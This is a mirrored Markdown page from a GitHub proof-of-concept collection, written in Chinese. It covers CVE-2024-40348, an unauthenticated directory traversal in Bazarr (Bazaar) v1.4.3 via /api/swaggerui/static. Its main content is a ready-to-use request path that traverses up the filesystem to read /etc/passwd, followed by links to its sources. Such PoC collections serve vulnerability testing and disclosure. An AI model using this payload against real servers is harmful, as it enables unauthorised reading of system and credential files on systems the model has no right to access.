mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
16 lines
428 B
Markdown
16 lines
428 B
Markdown
# Bazarr任意文件读取(CVE-2024-40348)
|
|
|
|
Bazaar v1.4.3 的组件 /api/swaggerui/static 中存在一个问题，允许未经身份验证的攻击者执行目录遍历。
|
|
|
|
## poc
|
|
|
|
```yaml
|
|
/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd
|
|
```
|
|
|
|
|
|
|
|
## 漏洞来源
|
|
|
|
- https://www.seebug.org/vuldb/ssvid-99863
|
|
- https://github.com/4rdr/proofs/blob/main/info/Bazaar_1.4.3_File_Traversal_via_Filename.md |